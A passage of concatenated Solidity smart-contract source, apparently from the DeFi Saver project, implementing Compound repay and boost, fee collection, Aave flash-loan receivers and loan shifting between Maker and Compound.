_srcAmount) internal view returns(uint256) { // if we are not selling ETH msg value is always the protocol fee if (_srcAddr != WETH_ADDRESS) return address(this).balance; // if msg value is larger than srcAmount, that means that msg value is protocol fee + srcAmount, so we subsctract srcAmount from msg value // we have an edge case here when protocol fee is higher than selling amount if (address(this).balance > _srcAmount) return address(this).balance - _srcAmount; // if msg value is lower than src amount, that means that srcAmount isn't included in msg value, so we return msg value return address(this).balance; } function packExchangeData(ExchangeData memory _exData) public pure returns(bytes memory) { // splitting in two different bytes and encoding all because of stack too deep in decoding part bytes memory part1 = abi.encode( _exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.destAmount ); bytes memory part2 = abi.encode( _exData.minPrice, _exData.wrapper, _exData.exchangeAddr, _exData.callData, _exData.price0x ); return abi.encode(part1, part2); } function unpackExchangeData(bytes memory _data) public pure returns(ExchangeData memory _exData) { ( bytes memory part1, bytes memory part2 ) = abi.decode(_data, (bytes,bytes)); ( _exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.destAmount ) = abi.decode(part1, (address,address,uint256,uint256)); ( _exData.minPrice, _exData.wrapper, _exData.exchangeAddr, _exData.callData, _exData.price0x ) = abi.decode(part2, (uint256,address,address,bytes,uint256)); } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } pragma solidity ^0.6.0; interface ExchangeInterfaceV2 { function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable returns (uint); function buy(address _srcAddr, address _destAddr, uint _destAmount) external payable returns(uint); function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint); function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint); } pragma solidity ^0.6.0; import "../utils/SafeERC20.sol"; import "../utils/Discount.sol"; contract SaverExchangeHelper { using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant SAVER_EXCHANGE_REGISTRY = 0x25dd3F51e0C3c3Ff164DDC02A8E4D65Bb9cBB12D; address public constant ERC20_PROXY_0X = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF; address public constant ZRX_ALLOWLIST_ADDR = 0x4BA1f38427b33B8ab7Bb0490200dAE1F1C36823F; function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function getBalance(address _tokenAddr) internal view returns (uint balance) { if (_tokenAddr == KYBER_ETH_ADDRESS) { balance = address(this).balance; } else { balance = ERC20(_tokenAddr).balanceOf(address(this)); } } function approve0xProxy(address _tokenAddr, uint _amount) internal { if (_tokenAddr != KYBER_ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(address(ERC20_PROXY_0X), _amount); } } function sendLeftover(address _srcAddr, address _destAddr, address payable _to) internal { // send back any leftover ether or tokens if (address(this).balance > 0) { _to.transfer(address(this).balance); } if (getBalance(_srcAddr) > 0) { ERC20(_srcAddr).safeTransfer(_to, getBalance(_srcAddr)); } if (getBalance(_destAddr) > 0) { ERC20(_destAddr).safeTransfer(_to, getBalance(_destAddr)); } } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/SafeERC20.sol"; import "../../exchangeV3/DFSExchangeCore.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../utils/Discount.sol"; import "../helpers/CompoundSaverHelper.sol"; import "../../loggers/DefisaverLogger.sol"; /// @title Implements the actual logic of Repay/Boost with FL contract CompoundSaverFlashProxy is DFSExchangeCore, CompoundSaverHelper { address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; using SafeERC20 for ERC20; /// @notice Repays the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for transaction /// @param _flashLoanData Data about FL [amount, fee] function flashRepay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); // draw max coll require(CTokenInterface(_cAddresses[0]).redeemUnderlying(maxColl) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // swap max coll + loanAmount _exData.srcAmount = maxColl + _flashLoanData[0]; _exData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; _exData.user = user; (,swapAmount) = _sell(_exData); // get fee swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } else { swapAmount = (maxColl + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } // payback debt paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // draw collateral for loanAmount + loanFee require(CTokenInterface(_cAddresses[0]).redeemUnderlying(flashBorrowed) == 0); // repay flash loan returnFlashLoan(collToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Boosts the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction /// @param _flashLoanData Data about FL [amount, fee] function flashBoost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; // borrow max amount uint borrowAmount = getMaxBorrow(_cAddresses[1], address(this)); require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // get dfs fee _exData.srcAmount = (borrowAmount + _flashLoanData[0]); _exData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; _exData.user = user; (, swapAmount) = _sell(_exData); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } else { swapAmount = (borrowAmount + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } // deposit swaped collateral depositCollateral(collToken, _cAddresses[0], swapAmount); // borrow token to repay flash loan require(CTokenInterface(_cAddresses[1]).borrow(flashBorrowed) == 0); // repay flash loan returnFlashLoan(borrowToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Helper method to deposit tokens in Compound /// @param _collToken Token address of the collateral /// @param _cCollToken CToken address of the collateral /// @param _depositAmount Amount to deposit function depositCollateral(address _collToken, address _cCollToken, uint _depositAmount) internal { approveCToken(_collToken, _cCollToken); if (_collToken != ETH_ADDRESS) { require(CTokenInterface(_cCollToken).mint(_depositAmount) == 0); } else { CEtherInterface(_cCollToken).mint{value: _depositAmount}(); // reverts on fail } } /// @notice Returns the tokens/ether to the msg.sender which is the FL contract /// @param _tokenAddr Address of token which we return /// @param _amount Amount to return function returnFlashLoan(address _tokenAddr, uint _amount) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeTransfer(msg.sender, _amount); } msg.sender.transfer(address(this).balance); } } pragma solidity ^0.6.0; import "../../interfaces/CEtherInterface.sol"; import "../../interfaces/CompoundOracleInterface.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../interfaces/ComptrollerInterface.sol"; import "../../interfaces/IFeeRecipient.sol"; import "../../utils/Discount.sol"; import "../../DS/DSMath.sol"; import "../../DS/DSProxy.sol"; import "./Exponential.sol"; import "../../utils/BotRegistry.sol"; import "../../utils/SafeERC20.sol"; /// @title Utlity functions for Compound contracts contract CompoundSaverHelper is DSMath, Exponential { using SafeERC20 for ERC20; IFeeRecipient public constant feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; address public constant COMPTROLLER = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant COMPOUND_LOGGER = 0x3DD0CDf5fFA28C6847B4B276e2fD256046a44bb7; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; /// @notice Helper method to payback the Compound debt /// @dev If amount is bigger it will repay the whole debt and send the extra to the _user /// @param _amount Amount of tokens we want to repay /// @param _cBorrowToken Ctoken address we are repaying /// @param _borrowToken Token address we are repaying /// @param _user Owner of the compound position we are paying back function paybackDebt(uint _amount, address _cBorrowToken, address _borrowToken, address payable _user) internal { uint wholeDebt = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(address(this)); if (_amount > wholeDebt) { if (_borrowToken == ETH_ADDRESS) { _user.transfer((_amount - wholeDebt)); } else { ERC20(_borrowToken).safeTransfer(_user, (_amount - wholeDebt)); } _amount = wholeDebt; } approveCToken(_borrowToken, _cBorrowToken); if (_borrowToken == ETH_ADDRESS) { CEtherInterface(_cBorrowToken).repayBorrow{value: _amount}(); } else { require(CTokenInterface(_cBorrowToken).repayBorrow(_amount) == 0); } } /// @notice Calculates the fee amount /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getFee(uint _amount, address _user, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { uint fee = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { fee = AUTOMATIC_SERVICE_FEE; } address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint usdTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(CETH_ADDRESS); uint tokenPriceInEth = wdiv(usdTokenPrice, ethPrice); _gasCost = wdiv(_gasCost, tokenPriceInEth); feeAmount = add(feeAmount, _gasCost); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } address walletAddr = feeRecipient.getFeeAddr(); if (tokenAddr == ETH_ADDRESS) { payable(walletAddr).transfer(feeAmount); } else { ERC20(tokenAddr).safeTransfer(walletAddr, feeAmount); } } /// @notice Calculates the gas cost of transaction and send it to wallet /// @param _amount Amount that is converted /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getGasCost(uint _amount, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint usdTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(CETH_ADDRESS); uint tokenPriceInEth = wdiv(usdTokenPrice, ethPrice); feeAmount = wdiv(_gasCost, tokenPriceInEth); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } address walletAddr = feeRecipient.getFeeAddr(); if (tokenAddr == ETH_ADDRESS) { payable(walletAddr).transfer(feeAmount); } else { ERC20(tokenAddr).safeTransfer(walletAddr, feeAmount); } } /// @notice Enters the market for the collatera and borrow tokens /// @param _cTokenAddrColl Collateral address we are entering the market in /// @param _cTokenAddrBorrow Borrow address we are entering the market in function enterMarket(address _cTokenAddrColl, address _cTokenAddrBorrow) internal { address[] memory markets = new address[](2); markets[0] = _cTokenAddrColl; markets[1] = _cTokenAddrBorrow; ComptrollerInterface(COMPTROLLER).enterMarkets(markets); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveCToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(uint160(address(this))); return proxy.owner(); } /// @notice Returns the maximum amount of collateral available to withdraw /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cCollAddress Collateral we are getting the max value of /// @param _account Users account /// @return Returns the max. collateral amount in that token function getMaxCollateral(address _cCollAddress, address _account) public returns (uint) { (, uint liquidityInUsd, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); uint usersBalance = CTokenInterface(_cCollAddress).balanceOfUnderlying(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); if (liquidityInUsd == 0) return usersBalance; CTokenInterface(_cCollAddress).accrueInterest(); (, uint collFactorMantissa) = ComptrollerInterface(COMPTROLLER).markets(_cCollAddress); Exp memory collateralFactor = Exp({mantissa: collFactorMantissa}); (, uint tokensToUsd) = divScalarByExpTruncate(liquidityInUsd, collateralFactor); uint usdPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cCollAddress); uint liqInToken = wdiv(tokensToUsd, usdPrice); if (liqInToken > usersBalance) return usersBalance; return sub(liqInToken, (liqInToken / 100)); // cut off 1% due to rounding issues } /// @notice Returns the maximum amount of borrow amount available /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cBorrowAddress Borrow token we are getting the max value of /// @param _account Users account /// @return Returns the max. borrow amount in that token function getMaxBorrow(address _cBorrowAddress, address _account) public returns (uint) { (, uint liquidityInUsd, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); CTokenInterface(_cBorrowAddress).accrueInterest(); uint usdPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cBorrowAddress); uint liquidityInToken = wdiv(liquidityInUsd, usdPrice); return sub(liquidityInToken, (liquidityInToken / 100)); // cut off 1% due to rounding issues } function isAutomation() internal view returns(bool) { return BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin); } } pragma solidity ^0.6.0; import "../../compound/helpers/CompoundSaverHelper.sol"; contract CompShifter is CompoundSaverHelper { using SafeERC20 for ERC20; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; function getLoanAmount(uint _cdpId, address _joinAddr) public returns(uint loanAmount) { return getWholeDebt(_cdpId, _joinAddr); } function getWholeDebt(uint _cdpId, address _joinAddr) public returns(uint loanAmount) { return CTokenInterface(_joinAddr).borrowBalanceCurrent(msg.sender); } function close( address _cCollAddr, address _cBorrowAddr, uint _collAmount, uint _debtAmount ) public { address collAddr = getUnderlyingAddr(_cCollAddr); // payback debt paybackDebt(_debtAmount, _cBorrowAddr, getUnderlyingAddr(_cBorrowAddr), tx.origin); require(CTokenInterface(_cCollAddr).redeemUnderlying(_collAmount) == 0); // Send back money to repay FL if (collAddr == ETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(collAddr).safeTransfer(msg.sender, ERC20(collAddr).balanceOf(address(this))); } } function changeDebt( address _cBorrowAddrOld, address _cBorrowAddrNew, uint _debtAmountOld, uint _debtAmountNew ) public { address borrowAddrNew = getUnderlyingAddr(_cBorrowAddrNew); // payback debt in one token paybackDebt(_debtAmountOld, _cBorrowAddrOld, getUnderlyingAddr(_cBorrowAddrOld), tx.origin); // draw debt in another one borrowCompound(_cBorrowAddrNew, _debtAmountNew); // Send back money to repay FL if (borrowAddrNew == ETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(borrowAddrNew).safeTransfer(msg.sender, ERC20(borrowAddrNew).balanceOf(address(this))); } } function open( address _cCollAddr, address _cBorrowAddr, uint _debtAmount ) public { address collAddr = getUnderlyingAddr(_cCollAddr); address borrowAddr = getUnderlyingAddr(_cBorrowAddr); uint collAmount = 0; if (collAddr == ETH_ADDRESS) { collAmount = address(this).balance; } else { collAmount = ERC20(collAddr).balanceOf(address(this)); } depositCompound(collAddr, _cCollAddr, collAmount); // draw debt borrowCompound(_cBorrowAddr, _debtAmount); // Send back money to repay FL if (borrowAddr == ETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(borrowAddr).safeTransfer(msg.sender, ERC20(borrowAddr).balanceOf(address(this))); } } function repayAll(address _cTokenAddr) public { address tokenAddr = getUnderlyingAddr(_cTokenAddr); uint amount = ERC20(tokenAddr).balanceOf(address(this)); if (amount != 0) { paybackDebt(amount, _cTokenAddr, tokenAddr, tx.origin); } } function depositCompound(address _tokenAddr, address _cTokenAddr, uint _amount) internal { approveCToken(_tokenAddr, _cTokenAddr); enterMarket(_cTokenAddr); if (_tokenAddr != ETH_ADDRESS) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0, "mint error"); } else { CEtherInterface(_cTokenAddr).mint{value: _amount}(); } } function borrowCompound(address _cTokenAddr, uint _amount) internal { enterMarket(_cTokenAddr); require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0); } function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../exchangeV3/DFSExchangeCore.sol"; import "../../loggers/DefisaverLogger.sol"; import "../helpers/CompoundSaverHelper.sol"; /// @title Contract that implements repay/boost functionality contract CompoundSaverProxy is CompoundSaverHelper, DFSExchangeCore { DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Withdraws collateral, converts to borrowed token and repays debt /// @dev Called through the DSProxy /// @param _exData Exchange data /// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction function repay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); uint collAmount = (_exData.srcAmount > maxColl) ? maxColl : _exData.srcAmount; require(CTokenInterface(_cAddresses[0]).redeemUnderlying(collAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { _exData.srcAmount = collAmount; _exData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; _exData.user = user; (, swapAmount) = _sell(_exData); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } else { swapAmount = collAmount; swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // handle 0x fee tx.origin.transfer(address(this).balance); // log amount, collToken, borrowToken logger.Log(address(this), msg.sender, "CompoundRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Borrows token, converts to collateral, and adds to position /// @dev Called through the DSProxy /// @param _exData Exchange data /// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction function boost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this)); uint borrowAmount = (_exData.srcAmount > maxBorrow) ? maxBorrow : _exData.srcAmount; require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { _exData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; _exData.user = user; _exData.srcAmount = borrowAmount; (, swapAmount) = _sell(_exData); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } else { swapAmount = borrowAmount; swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } approveCToken(collToken, _cAddresses[0]); if (collToken != ETH_ADDRESS) { require(CTokenInterface(_cAddresses[0]).mint(swapAmount) == 0); } else { CEtherInterface(_cAddresses[0]).mint{value: swapAmount}(); // reverts on fail } // handle 0x fee tx.origin.transfer(address(this).balance); // log amount, collToken, borrowToken logger.Log(address(this), msg.sender, "CompoundBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../auth/AdminAuth.sol"; import "../utils/FlashLoanReceiverBase.sol"; import "../interfaces/DSProxyInterface.sol"; import "../exchangeV3/DFSExchangeCore.sol"; import "./ShifterRegistry.sol"; import "./LoanShifterTaker.sol"; /// @title LoanShifterReceiver Recevies the Aave flash loan and calls actions through users DSProxy contract LoanShifterReceiver is DFSExchangeCore, FlashLoanReceiverBase, AdminAuth { address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint public constant SERVICE_FEE = 400; // 0.25% Fee ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x597C52281b31B9d949a9D8fEbA08F7A2530a965e); struct ParamData { bytes proxyData1; bytes proxyData2; address proxy; address debtAddr; uint8 protocol1; uint8 protocol2; uint8 swapType; } constructor() public FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) {} function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params ) external override { // Format the call data for DSProxy (ParamData memory paramData, ExchangeData memory exchangeData) = packFunctionCall(_amount, _fee, _params); address protocolAddr1 = shifterRegistry.getAddr(getNameByProtocol(paramData.protocol1)); address protocolAddr2 = shifterRegistry.getAddr(getNameByProtocol(paramData.protocol2)); // Send Flash loan amount to DSProxy sendTokenToProxy(payable(paramData.proxy), _reserve, _amount); // Execute the Close/Change debt operation DSProxyInterface(paramData.proxy).execute(protocolAddr1, paramData.proxyData1); exchangeData.dfsFeeDivider = SERVICE_FEE; exchangeData.user = DSProxyInterface(paramData.proxy).owner(); if (paramData.swapType == 1) { // COLL_SWAP (, uint256 amount) = _sell(exchangeData); sendTokenAndEthToProxy(payable(paramData.proxy), exchangeData.destAddr, amount); } else if (paramData.swapType == 2) { // DEBT_SWAP exchangeData.destAmount = (_amount + _fee); _buy(exchangeData); // Send extra to DSProxy sendTokenToProxy( payable(paramData.proxy), exchangeData.srcAddr, ERC20(exchangeData.srcAddr).balanceOf(address(this)) ); } else { // NO_SWAP just send tokens to proxy sendTokenAndEthToProxy( payable(paramData.proxy), exchangeData.srcAddr, getBalance(exchangeData.srcAddr) ); } // Execute the Open operation DSProxyInterface(paramData.proxy).execute(protocolAddr2, paramData.proxyData2); // Repay FL transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function packFunctionCall( uint256 _amount, uint256 _fee, bytes memory _params ) internal pure returns (ParamData memory paramData, ExchangeData memory exchangeData) { LoanShifterTaker.LoanShiftData memory shiftData; address proxy; (shiftData, exchangeData, proxy) = abi.decode( _params, (LoanShifterTaker.LoanShiftData, ExchangeData, address) ); bytes memory proxyData1; bytes memory proxyData2; uint256 openDebtAmount = (_amount + _fee); if (shiftData.fromProtocol == LoanShifterTaker.Protocols.MCD) { // MAKER FROM proxyData1 = abi.encodeWithSignature( "close(uint256,address,uint256,uint256)", shiftData.id1, shiftData.addrLoan1, _amount, shiftData.collAmount ); } else if (shiftData.fromProtocol == LoanShifterTaker.Protocols.COMPOUND) { // COMPOUND FROM if (shiftData.swapType == LoanShifterTaker.SwapType.DEBT_SWAP) { // DEBT_SWAP proxyData1 = abi.encodeWithSignature( "changeDebt(address,address,uint256,uint256)", shiftData.debtAddr1, shiftData.debtAddr2, _amount, exchangeData.srcAmount ); } else { proxyData1 = abi.encodeWithSignature( "close(address,address,uint256,uint256)", shiftData.addrLoan1, shiftData.debtAddr1, shiftData.collAmount, shiftData.debtAmount ); } } if (shiftData.toProtocol == LoanShifterTaker.Protocols.MCD) { // MAKER TO proxyData2 = abi.encodeWithSignature( "open(uint256,address,uint256)", shiftData.id2, shiftData.addrLoan2, openDebtAmount ); } else if (shiftData.toProtocol == LoanShifterTaker.Protocols.COMPOUND) { // COMPOUND TO if (shiftData.swapType == LoanShifterTaker.SwapType.DEBT_SWAP) { // DEBT_SWAP proxyData2 = abi.encodeWithSignature("repayAll(address)", shiftData.debtAddr2); } else { proxyData2 = abi.encodeWithSignature( "open(address,address,uint256)", shiftData.addrLoan2, shiftData.debtAddr2, openDebtAmount ); } } paramData = ParamData({ proxyData1: proxyData1, proxyData2: proxyData2, proxy: proxy, debtAddr: shiftData.debtAddr1, protocol1: uint8(shiftData.fromProtocol), protocol2: uint8(shiftData.toProtocol), swapType: uint8(shiftData.swapType) }); } function sendTokenAndEthToProxy( address payable _proxy, address _reserve, uint256 _amount ) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, _amount); } _proxy.transfer(address(this).balance); } function sendTokenToProxy( address payable _proxy, address _reserve, uint256 _amount ) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, _amount); } else { _proxy.transfer(address(this).balance); } } function getNameByProtocol(uint8 _proto) internal pure returns (string memory) { if (_proto == 0) { return "MCD_SHIFTER"; } else if (_proto == 1) { return "COMP_SHIFTER"; } } receive() external payable override(FlashLoanReceiverBase, DFSExchangeCore) {} } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../DS/DSProxy.sol"; import "../../utils/FlashLoanReceiverBase.sol"; import "../../interfaces/DSProxyInterface.sol"; import "../../exchangeV3/DFSExchangeCore.sol"; import "../../shifter/ShifterRegistry.sol"; import "./CompoundCreateTaker.sol"; /// @title Contract that receives the FL from Aave for Creating loans contract CompoundCreateReceiver is FlashLoanReceiverBase, DFSExchangeCore { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x2E82103bD91053C781aaF39da17aE58ceE39d0ab); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; uint public constant SERVICE_FEE = 400; // 0.25% Fee // solhint-disable-next-line no-empty-blocks constructor() public FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) {} struct CompCreateData { address payable proxyAddr; bytes proxyData; address cCollAddr; address cDebtAddr; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { // Format the call data for DSProxy (CompCreateData memory compCreate, ExchangeData memory exchangeData) = packFunctionCall(_amount, _fee, _params); address leveragedAsset = _reserve; // If the assets are different if (compCreate.cCollAddr != compCreate.cDebtAddr) { exchangeData.dfsFeeDivider = SERVICE_FEE; exchangeData.user = DSProxyInterface(compCreate.proxyAddr).owner(); _sell(exchangeData); leveragedAsset = exchangeData.destAddr; } // Send amount to DSProxy sendToProxy(compCreate.proxyAddr, leveragedAsset); address compOpenProxy = shifterRegistry.getAddr("COMP_SHIFTER"); // Execute the DSProxy call DSProxyInterface(compCreate.proxyAddr).execute(compOpenProxy, compCreate.proxyData); // Repay 